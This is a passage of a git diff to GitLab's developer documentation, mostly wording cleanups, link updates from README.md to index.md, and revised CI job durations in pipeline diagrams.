older API server tried return the `CI_NODE_TOTAL` CI/CD variable, but
-instead of sending an integer value (e.g. 9), it sent a serialized
+instead of sending an integer value (for example, 9), it sent a serialized
`Hash` value (`{:number=>9, :total=>9}`).
If you look at the [deployment pipeline](https://ops.gitlab.net/gitlab-com/gl-infra/deployer/-/pipelines/202212),
diff --git a/doc/development/new_fe_guide/dependencies.md b/doc/development/new_fe_guide/dependencies.md
deleted file mode 100644
index c8bc1b70aa9..00000000000
--- a/doc/development/new_fe_guide/dependencies.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../fe_guide/dependencies.md'
-remove_date: '2021-05-14'
----
-
-This document was moved to [another location](../fe_guide/dependencies.md).
-
-<!-- This redirect file can be deleted after <2021-05-14>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/omnibus.md b/doc/development/omnibus.md
index 5b97221bd29..dc83b0ea257 100644
--- a/doc/development/omnibus.md
+++ b/doc/development/omnibus.md
@@ -12,7 +12,7 @@ when you are coding.
## Files are owned by root by default
-All the files in the Rails tree (`app/`, `config/` etc.) are owned by `root` in
+All the files in the Rails tree (`app/`, `config/`, and so on) are owned by `root` in
Omnibus installations. This makes the installation simpler and it provides
extra security. The Omnibus reconfigure script contains commands that give
write access to the `git` user only where needed.
diff --git a/doc/development/packages.md b/doc/development/packages.md
index 294cc528ad1..94882cefc30 100644
--- a/doc/development/packages.md
+++ b/doc/development/packages.md
@@ -133,7 +133,7 @@ During this phase, the idea is to collect as much information as possible about
- **Authentication**: What authentication mechanisms are available (OAuth, Basic
Authorization, other). Keep in mind that GitLab users often want to use their
[Personal Access Tokens](../user/profile/personal_access_tokens.md).
- Although not needed for the MVC first iteration, the [CI/CD job tokens](../api/README.md#gitlab-cicd-job-token)
+ Although not needed for the MVC first iteration, the [CI/CD job tokens](../api/index.md#gitlab-cicd-job-token)
have to be supported at some point in the future.
- **Requests**: Which requests are needed to have a working MVC. Ideally, produce
a list of all the requests needed for the MVC (including required actions). Further
@@ -191,7 +191,7 @@ against the project or group before continuing.
The current database model allows you to store a name and a version for each package.
Every time you upload a new package, you can either create a new record of `Package`
or add files to existing record. `PackageFile` should be able to store all file-related
-information like the file `name`, `side`, `sha1`, etc.
+information like the file `name`, `side`, `sha1`, and so on.
If there is specific data necessary to be stored for only one package system support,
consider creating a separate metadata model. See `packages_maven_metadata` table
diff --git a/doc/development/performance.md b/doc/development/performance.md
index 84b3a8f1092..e59f7fb154b 100644
--- a/doc/development/performance.md
+++ b/doc/development/performance.md
@@ -120,7 +120,7 @@ allowing you to profile which code is running on CPU in detail.
It's important to note that profiling an application *alters its performance*.
Different profiling strategies have different overheads. Stackprof is a sampling
profiler. It samples stack traces from running threads at a configurable
-frequency (e.g. 100hz, that is 100 stacks per second). This type of profiling
+frequency (for example, 100hz, that is 100 stacks per second). This type of profiling
has quite a low (albeit non-zero) overhead and is generally considered to be
safe for production.
diff --git a/doc/development/permissions.md b/doc/development/permissions.md
index 8c3600a30ba..177fedcf454 100644
--- a/doc/development/permissions.md
+++ b/doc/development/permissions.md
@@ -57,9 +57,12 @@ can be accessed only by project members by default.
### Members
Users can be members of multiple groups and projects. The following access
-levels are available (defined in the `Gitlab::Access` module):
+levels are available (defined in the
+[`Gitlab::Access`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/access.rb)
+module):
- No access (`0`)
+- [Minimal access](../user/permissions.md#users-with-minimal-access) (`5`)
- Guest (`10`)
- Reporter (`20`)
- Developer (`30`)
diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md
index 0dc1481f542..0fe48fe8b9e 100644
--- a/doc/development/pipelines.md
+++ b/doc/development/pipelines.md
@@ -14,12 +14,12 @@ which itself includes files under
for easier maintenance.
We're striving to [dogfood](https://about.gitlab.com/handbook/engineering/#dogfooding)
-GitLab [CI/CD features and best-practices](../ci/yaml/README.md)
+GitLab [CI/CD features and best-practices](../ci/yaml/index.md)
as much as possible.
## Overview
-Pipelines for the GitLab project are created using the [`workflow:rules` keyword](../ci/yaml/README.md#workflow)
+Pipelines for the GitLab project are created using the [`workflow:rules` keyword](../ci/yaml/index.md#workflow)
feature of the GitLab CI/CD.
Pipelines are always created for the following scenarios:
@@ -49,9 +49,9 @@ depending on the changes made in the MR:
- [Frontend-only MR pipeline](#frontend-only-mr-pipeline): This is typically created for an MR that only changes frontend code.
- [QA-only MR pipeline](#qa-only-mr-pipeline): This is typically created for an MR that only changes end to end tests related code.
-We use the [`rules:`](../ci/yaml/README.md#rules) and [`needs:`](../ci/yaml/README.md#needs) keywords extensively
+We use the [`rules:`](../ci/yaml/index.md#rules) and [`needs:`](../ci/yaml/index.md#needs) keywords extensively
to determine the jobs that need to be run in a pipeline. Note that an MR that includes multiple types of changes would
-have a pipelines that include jobs from multiple types (e.g. a combination of docs-only and code-only pipelines).
+have a pipelines that include jobs from multiple types (for example, a combination of docs-only and code-only pipelines).
#### Documentation only MR pipeline
@@ -82,17 +82,17 @@ graph RL;
subgraph "No needed jobs";
1-1["danger-review (2.3 minutes)"];
click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0"
- 1-2["build-qa-image (1.6 minutes)"];
+ 1-2["build-qa-image (2 minutes)"];
click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914325&udv=0"
- 1-3["compile-test-assets (7 minutes)"];
+ 1-3["compile-test-assets (6 minutes)"];
click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914317&udv=0"
1-4["compile-test-assets as-if-foss (7 minutes)"];
click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356616&udv=0"
- 1-5["compile-production-assets (19 minutes)"];
+ 1-5["compile-production-assets (14 minutes)"];
click 1-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914312&udv=0"
- 1-6["setup-test-env (9 minutes)"];
+ 1-6["setup-test-env (4 minutes)"];
click 1-6 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914315&udv=0"
- 1-7["review-stop-failed-deployment"];
+ 1-7["review-delete-deployment"];
1-8["dependency_scanning"];
1-9["qa:internal, qa:internal-as-if-foss"];
1-11["qa:selectors, qa:selectors-as-if-foss"];
@@ -111,24 +111,24 @@ graph RL;
class 1-6 criticalPath;
end
- 2_1-1["graphql-verify (4 minutes)"];
+ 2_1-1["graphql-verify (2.3 minutes)"];
click 2_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356715&udv=0"
2_1-2["memory-static (4.75 minutes)"];
click 2_1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356721&udv=0"
- 2_1-3["run-dev-fixtures (6 minutes)"];
+ 2_1-3["run-dev-fixtures (3 minutes)"];
click 2_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356729&udv=0"
- 2_1-4["run-dev-fixtures-ee (6.75 minutes)"];
+ 2_1-4["run-dev-fixtures-ee (4 minutes)"];
click 2_1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356731&udv=0"
subgraph "Needs `setup-test-env`";
2_1-1 & 2_1-2 & 2_1-3 & 2_1-4 --> 1-6;
end
- 2_2-2["rspec frontend_fixture/rspec-ee frontend_fixture (12 minutes)"];
+ 2_2-2["rspec frontend_fixture/rspec-ee frontend_fixture (11 minutes)"];
class 2_2-2 criticalPath;
click 2_2-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910143&udv=0"
- 2_2-4["memory-on-boot (6 minutes)"];
+ 2_2-4["memory-on-boot (3.5 minutes)"];
click 2_2-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356727&udv=0"
- 2_2-5["webpack-dev-server (4.5 minutes)"];
+ 2_2-5["webpack-dev-server (4 minutes)"];
click 2_2-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8404303&udv=0"
subgraph "Needs `setup-test-env` & `compile-test-assets`";
2_2-2 & 2_2-4 & 2_2-5 --> 1-6 & 1-3;
@@ -152,22 +152,22 @@ graph RL;
click 2_5-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations"
end
- 3_1-1["jest (15 minutes)"];
+ 3_1-1["jest (16 minutes)"];
class 3_1-1 criticalPath;
click 3_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914204&udv=0"
- 3_1-2["karma (4 minutes)"];
+ 3_1-2["karma (2 minutes)"];
click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914200&udv=0"
subgraph "Needs `rspec frontend_fixture/rspec-ee frontend_fixture`";
3_1-1 & 3_1-2 --> 2_2-2;
end
- 3_2-1["rspec:coverage (4.6 minutes)"];
+ 3_2-1["rspec:coverage (5.3 minutes)"];
subgraph "Depends on `rspec` jobs";
3_2-1 -.->|"(don't use needs because of limitations)"| 2_5-1;
click 3_2-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7248745&udv=0"
end
- 4_1-1["coverage-frontend (2.75 minutes)"];
+ 4_1-1["coverage-frontend (2 minutes)"];
subgraph "Needs `jest`";
4_1-1 --> 3_1-1;
class 4_1-1 criticalPath;
@@ -186,15 +186,15 @@ graph RL;
subgraph "No needed jobs";
1-1["danger-review (2.3 minutes)"];
click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0"
- 1-2["build-qa-image (1.6 minutes)"];
+ 1-2["build-qa-image (2 minutes)"];
click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914325&udv=0"
- 1-3["compile-test-assets (7 minutes)"];
+ 1-3["compile-test-assets (6 minutes)"];
click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914317&udv=0"
1-4["compile-test-assets as-if-foss (7 minutes)"];
click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356616&udv=0"
- 1-5["compile-production-assets (19 minutes)"];
+ 1-5["compile-production-assets (14 minutes)"];
click 1-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914312&udv=0"
- 1-6["setup-test-env (9 minutes)"];
+ 1-6["setup-test-env (4 minutes)"];
click 1-6 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914315&udv=0"
1-7["review-stop-failed-deployment"];
1-8["dependency_scanning"];
@@ -216,24 +216,24 @@ graph RL;
class 1-6 criticalPath;
end
- 2_1-1["graphql-verify (4 minutes)"];
+ 2_1-1["graphql-verify (2.3 minutes)"];
click 2_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356715&udv=0"
2_1-2["memory-static (4.75 minutes)"];
click 2_1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356721&udv=0"
- 2_1-3["run-dev-fixtures (6 minutes)"];
+ 2_1-3["run-dev-fixtures (3 minutes)"];
click 2_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356729&udv=0"
- 2_1-4["run-dev-fixtures-ee (6.75 minutes)"];
+ 2_1-4["run-dev-fixtures-ee (4 minutes)"];
click 2_1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356731&udv=0"
subgraph "Needs `setup-test-env`";
2_1-1 & 2_1-2 & 2_1-3 & 2_1-4 --> 1-6;
end
- 2_2-2["rspec frontend_fixture/rspec-ee frontend_fixture (12 minutes)"];
+ 2_2-2["rspec frontend_fixture/rspec-ee frontend_fixture (11 minutes)"];
class 2_2-2 criticalPath;
click 2_2-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910143&udv=0"
- 2_2-4["memory-on-boot (6 minutes)"];
+ 2_2-4["memory-on-boot (3.5 minutes)"];
click 2_2-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356727&udv=0"
- 2_2-5["webpack-dev-server (4.5 minutes)"];
+ 2_2-5["webpack-dev-server (4 minutes)"];
click 2_2-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8404303&udv=0"
subgraph "Needs `setup-test-env` & `compile-test-assets`";
2_2-2 & 2_2-4 & 2_2-5 --> 1-6 & 1-3;
@@ -258,51 +258,48 @@ graph RL;
click 2_5-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations"
end
- 2_6-1["review-build-cng (27.3 minutes)"];
+ 2_6-1["review-build-cng (27 minutes)"];
subgraph "Needs `build-assets-image`";
2_6-1 --> 2_3-1;
class 2_6-1 criticalPath;
click 2_6-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914314&udv=0"
end
- 3_1-1["jest (15 minutes)"];
+ 3_1-1["jest (16 minutes)"];
class 3_1-1 criticalPath;
click 3_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914204&udv=0"
- 3_1-2["karma (4 minutes)"];
+ 3_1-2["karma (2 minutes)"];
click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914200&udv=0"
subgraph "Needs `rspec frontend_fixture/rspec-ee frontend_fixture`";
3_1-1 & 3_1-2 --> 2_2-2;
end
- 3_2-1["rspec:coverage (4.6 minutes)"];
+ 3_2-1["rspec:coverage (5.3 minutes)"];
subgraph "Depends on `rspec` jobs";
3_2-1 -.->|"(don't use needs because of limitations)"| 2_5-1;
click 3_2-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7248745&udv=0"
end
- 4_1-1["coverage-frontend (2.75 minutes)"];
+ 4_1-1["coverage-frontend (2 minutes)"];
subgraph "Needs `jest`";
4_1-1 --> 3_1-1;
class 4_1-1 criticalPath;
click 4_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910777&udv=0"
end
- 3_3-1["review-deploy (6 minutes)"];
+ 3_3-1["review-deploy (10.5 minutes)"];
subgraph "Played by `review-build-cng`";
3_3-1 --> 2_6-1;
class 3_3-1 criticalPath;
click 3_3-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6721130&udv=0"
end
- 4_2-1["review-qa-smoke (8 minutes)"];
+ 4_2-1["review-qa-smoke (7.4 minutes)"];
click 4_2-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6729805&udv=0"
- 4_2-2["review-performance (4 minutes)"];
+ 4_2-2["review-performance (2.5 minutes)"];
click 4_2-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356817&udv=0"
- 4_2-3["dast (18 minutes)"];
- click 4_2-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356819&udv=0"
- class 4_2-3 criticalPath;
subgraph "Played by `review-deploy`";
- 4_2-1 & 4_2-2 & 4_2-3 -.->|"(don't use needs because of limitations)"| 3_3-1;
+ 4_2-1 & 4_2-2 --> 3_3-1;
end
```
@@ -317,15 +314,15 @@ graph RL;
subgraph "No needed jobs";
1-1["danger-review (2.3 minutes)"];
click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0"
- 1-2["build-qa-image (1.6 minutes)"];
+ 1-2["build-qa-image (2 minutes)"];
click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914325&udv=0"
- 1-3["compile-test-assets (7 minutes)"];
+ 1-3["compile-test-assets (6 minutes)"];
click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914317&udv=0"
1-4["compile-test-assets as-if-foss (7 minutes)"];
click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356616&udv=0"
- 1-5["compile-production-assets (19 minutes)"];
+ 1-5["compile-production-assets (14 minutes)"];
click 1-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914312&udv=0"
- 1-6["setup-test-env (9 minutes)"];
+ 1-6["setup-test-env (4 minutes)"];
click 1-6 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914315&udv=0"
1-7["review-stop-failed-deployment"];
1-8["dependency_scanning"];
@@ -345,7 +342,7 @@ graph RL;
class 1-5 criticalPath;
end
- 2_1-1["graphql-verify (4 minutes)"];
+ 2_1-1["graphql-verify (2.3 minutes)"];
click 2_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356715&udv=0"
subgraph "Needs `setup-test-env`";
2_1-1 --> 1-6;
@@ -357,7 +354,7 @@ graph RL;
class 2_3-1 criticalPath;
end
- 2_4-1["package-and-qa (105 minutes)"];
+ 2_4-1["package-and-qa (140 minutes)"];
subgraph "Needs `build-qa-image` & `build-assets-image`";
2_4-1 --> 1-2 & 2_3-1;
class 2_4-1 criticalPath;
@@ -537,7 +534,7 @@ the `gitlab-org/gitlab-foss` project.
### Interruptible pipelines
-By default, all jobs are [interruptible](../ci/yaml/README.md#interruptible), except the
+By default, all jobs are [interruptible](../ci/yaml/index.md#interruptible), except the
`dont-interrupt-me` job which runs automatically on `main`, and is `manual`
otherwise.
@@ -559,8 +556,8 @@ request, be sure to start the `dont-interrupt-me` job before pushing.
- `.qa-cache`
- `.yarn-cache`
- `.assets-compile-cache` (the key includes `${NODE_ENV}` so it's actually two different caches).
-1. These cache definitions are composed of [multiple atomic caches](../ci/yaml/README.md#multiple-caches).
-1. Only 6 specific jobs, running in 2-hourly scheduled pipelines, are pushing (i.e. updating) to the caches:
+1. These cache definitions are composed of [multiple atomic caches](../ci/caching/index.md#use-multiple-caches).
+1. Only the following jobs, running in 2-hourly scheduled pipelines, are pushing (that is, updating) to the caches:
- `update-setup-test-env-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
- `update-gitaly-binaries-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
- `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
@@ -568,6 +565,7 @@ request, be sure to start the `dont-interrupt-me` job before pushing.
- `update-assets-compile-production-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
- `update-assets-compile-test-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
- `update-yarn-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
+ - `update-storybook-yarn-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
1. These jobs can also be forced to run in merge requests whose title include `UPDATE CACHE` (this can be useful to warm the caches in a MR that updates the cache keys).
### Artifacts strategy
@@ -584,7 +582,7 @@ several reasons:
- It significantly reduces load on the file server, as smaller deltas mean less time spent in `git pack-objects`.
The pre-clone step works by using the `CI_PRE_CLONE_SCRIPT` variable
-[defined by GitLab.com shared runners](../ci/runners/README.md#pre-clone-script).
+[defined by GitLab.com shared runners](../ci/runners/build_cloud/linux_build_cloud.md#pre-clone-script).
The `CI_PRE_CLONE_SCRIPT` is currently defined as a project CI/CD variable:
@@ -655,7 +653,7 @@ The current stages are:
- `fixtures`: This stage includes jobs that prepare fixtures needed by frontend tests.
- `test`: This stage includes most of the tests, DB/migration jobs, and static analysis jobs.
- `post-test`: This stage includes jobs that build reports or gather data from
- the `test` stage's jobs (e.g. coverage, Knapsack metadata etc.).
+ the `test` stage's jobs (for example, coverage, Knapsack metadata, and so on).
- `review-prepare`: This stage includes a job that build the CNG images that are
later used by the (Helm) Review App deployment (see
[Review Apps](testing_guide/review_apps.md) for details).
@@ -665,9 +663,9 @@ that is deployed in stage `review`.
- `qa`: This stage includes jobs that perform QA tasks against the Review App
that is deployed in stage `review`.
- `post-qa`: This stage includes jobs that build reports or gather data from
- the `qa` stage's jobs (e.g. Review App performance report).
+ the `qa` stage's jobs (for example, Review App performance report).
- `pages`: This stage includes a job that deploys the various reports as
- GitLab Pages (e.g. [`coverage-ruby`](https://gitlab-org.gitlab.io/gitlab/coverage-ruby/),
+ GitLab Pages (for example, [`coverage-ruby`](https://gitlab-org.gitlab.io/gitlab/coverage-ruby/),
[`coverage-javascript`](https://gitlab-org.gitlab.io/gitlab/coverage-javascript/),
and `webpack-report` (found at `https://gitlab-org.gitlab.io/gitlab/webpack-report/`, but there is
[an issue with the deployment](https://gitlab.com/gitlab-org/gitlab/-/issues/233458)).
@@ -716,14 +714,14 @@ each pipeline includes default variables defined in
### Common job definitions
-Most of the jobs [extend from a few CI definitions](../ci/yaml/README.md#extends)
+Most of the jobs [extend from a few CI definitions](../ci/yaml/index.md#extends)
defined in [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml)
-that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-keywords).
+that are scoped to a single [configuration keyword](../ci/yaml/index.md#job-keywords).
| Job definitions | Description |
|------------------|-------------|
-| `.default-retry` | Allows a job to [retry](../ci/yaml/README.md#retry) upon `unknown_failure`, `api_failure`, `runner_system_failure`, `job_execution_timeout`, or `stuck_or_timeout_failure`. |
-| `.default-before_script` | Allows a job to use a default `before_script` definition suitable for Ruby/Rails tasks that may need a database running (e.g. tests). |
+| `.default-retry` | Allows a job to [retry](../ci/yaml/index.md#retry) upon `unknown_failure`, `api_failure`, `runner_system_failure`, `job_execution_timeout`, or `stuck_or_timeout_failure`. |
+| `.default-before_script` | Allows a job to use a default `before_script` definition suitable for Ruby/Rails tasks that may need a database running (for example, tests). |
| `.setup-test-env-cache` | Allows a job to use a default `cache` definition suitable for setting up test environment for subsequent Ruby/Rails tasks. |
| `.rails-cache` | Allows a job to use a default `cache` definition suitable for Ruby/Rails tasks. |
| `.static-analysis-cache` | Allows a job to use a default `cache` definition suitable for static analysis tasks. |
@@ -741,16 +739,16 @@ that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-key
### `rules`, `if:` conditions and `changes:` patterns
-We're using the [`rules` keyword](../ci/yaml/README.md#rules) extensively.
+We're using the [`rules` keyword](../ci/yaml/index.md#rules) extensively.
All `rules` definitions are defined in
[`rules.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rules.gitlab-ci.yml),
-then included in individual jobs via [`extends`](../ci/yaml/README.md#extends).
+then included in individual jobs via [`extends`](../ci/yaml/index.md#extends).
The `rules` definitions are composed of `if:` conditions and `changes:` patterns,
which are also defined in
[`rules.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rules.gitlab-ci.yml)
-and included in `rules` definitions via [YAML anchors](../ci/yaml/README.md#anchors)
+and included in `rules` definitions via [YAML anchors](../ci/yaml/index.md#anchors)
#### `if:` conditions
@@ -759,8 +757,8 @@ and included in `rules` definitions via [YAML anchors](../ci/yaml/README.md#anch
| `if:` conditions | Description | Notes |
|------------------|-------------|-------|
| `if-not-canonical-namespace` | Matches if the project isn't in the canonical (`gitlab-org/`) or security (`gitlab-org/security`) namespace. | Use to create a job for forks (by using `when: on_success|manual`), or **not** create a job for forks (by using `when: never`). |
-| `if-not-ee` | Matches if the project isn't EE (i.e. project name isn't `gitlab` or `gitlab-ee`). | Use to create a job only in the FOSS project (by using `when: on_success|manual`), or **not** create a job if the project is EE (by using `when: never`). |
-| `if-not-foss` | Matches if the project isn't FOSS (i.e. project name isn't `gitlab-foss`, `gitlab-ce`, or `gitlabhq`). | Use to create a job only in the EE project (by using `when: on_success|manual`), or **not** create a job if the project is FOSS (by using `when: never`). |
+| `if-not-ee` | Matches if the project isn't EE (that is, project name isn't `gitlab` or `gitlab-ee`). | Use to create a job only in the FOSS project (by using `when: on_success|manual`), or **not** create a job if the project is EE (by using `when: never`). |
+| `if-not-foss` | Matches if the project isn't FOSS (that is, project name isn't `gitlab-foss`, `gitlab-ce`, or `gitlabhq`). | Use to create a job only in the EE project (by using `when: on_success|manual`), or **not** create a job if the project is FOSS (by using `when: never`). |
| `if-default-refs` | Matches if the pipeline is for `master`, `main`, `/^[\d-]+-stable(-ee)?$/` (stable branches), `/^\d+-\d+-auto-deploy-\d+$/` (auto-deploy branches), `/^security\//` (security branches), merge requests, and tags. | Note that jobs aren't created for branches with this default configuration. |
| `if-master-refs` | Matches if the current branch is `master` or `main`. | |
| `if-master-push` | Matches if the current branch is `master` or `main` and pipeline source is `push`. | |
@@ -799,11 +797,11 @@ and included in `rules` definitions via [YAML anchors](../ci/yaml/README.md#anch
| `ci-qa-patterns` | Only create job for CI configuration-related changes related to the `qa` stage. |
| `yaml-lint-patterns` | Only create job for YAML-related changes. |
| `docs-patterns` | Only create job for docs-related changes. |
-| `frontend-dependency-patterns` | Only create job when frontend dependencies are updated (i.e. `package.json`, and `yarn.lock`). changes. |
+| `frontend-dependency-patterns` | Only create job when frontend dependencies are updated (that is, `package.json`, and `yarn.lock`). changes. |
| `frontend-patterns` | Only create job for frontend-related changes. |
| `backend-patterns` | Only create job for backend-related changes. |
| `db-patterns` | Only create job for DB-related changes. |
-| `backstage-patterns` | Only create job for backstage-related changes (i.e. Danger, fixtures, RuboCop, specs). |
+| `backstage-patterns` | Only create job for backstage-related changes (that is, Danger, fixtures, RuboCop, specs). |
| `code-patterns` | Only create job for code-related changes. |
| `qa-patterns` | Only create job for QA-related changes. |
| `code-backstage-patterns` | Combination of `code-patterns` and `backstage-patterns`. |
@@ -812,4 +810,4 @@ and included in `rules` definitions via [YAML anchors](../ci/yaml/README.md#anch
---
-[Return to Development documentation](README.md)
+[Return to Development documentation](index.md)
diff --git a/doc/development/policies.md b/doc/development/policies.md
index 315878e19d9..8ad3d3f42ba 100644
--- a/doc/development/policies.md
+++ b/doc/development/policies.md
@@ -106,7 +106,7 @@ Each line represents a rule that was evaluated. There are a few things to note:
1. The `-` or `+` symbol indicates whether the rule block was evaluated to be
`false` or `true`, respectively.
1. The number inside the brackets indicates the score.
-1. The last part of the line (e.g. `@john : Issue/1`) shows the username
+1. The last part of the line (for example, `@john : Issue/1`) shows the username
and subject for that rule.
Here you can see that the first four rules were evaluated `false` for
@@ -150,7 +150,7 @@ then the result of the condition is cached globally only based on the subject -
**DANGER**: If you use a `:scope` option when the condition actually uses data from
both user and subject (including a simple anonymous check!) your result is cached at too global of a scope and results in cache bugs.
-Sometimes we are checking permissions for a lot of users for one subject, or a lot of subjects for one user. In this case, we want to set a *preferred scope* - i.e. tell the system that we prefer rules that can be cached on the repeated parameter. For example, in `Ability.users_that_can_read_project`:
+Sometimes we are checking permissions for a lot of users for one subject, or a lot of subjects for one user. In this case, we want to set a *preferred scope* - that is, tell the system that we prefer rules that can be cached on the repeated parameter. For example, in `Ability.users_that_can_read_project`:
```ruby
def users_that_can_read_project(users, project)
diff --git a/doc/development/polymorphic_associations.md b/doc/development/polymorphic_associations.md
index f341255a7e1..bbeaab40a90 100644
--- a/doc/development/polymorphic_associations.md
+++ b/doc/development/polymorphic_associations.md
@@ -146,7 +146,7 @@ filter rows using the `IS NULL` condition.
To summarize: using separate tables allows us to use foreign keys effectively,
create indexes only where necessary, conserve space, query data more
-efficiently, and scale these tables more easily (e.g. by storing them on
+efficiently, and scale these tables more easily (for example, by storing them on
separate disks). A nice side effect of this is that code can also become easier,
as a single model isn't responsible for handling different kinds of
data.
diff --git a/doc/development/profiling.md b/doc/development/profiling.md
index 781138a6ade..a58e1d60cc5 100644
--- a/doc/development/profiling.md
+++ b/doc/development/profiling.md
@@ -135,7 +135,7 @@ starting GitLab. For example:
ENABLE_BULLET=true bundle exec rails s
```
-Bullet logs query problems to both the Rails log as well as the Chrome
+Bullet logs query problems to both the Rails log as well as the browser
console.
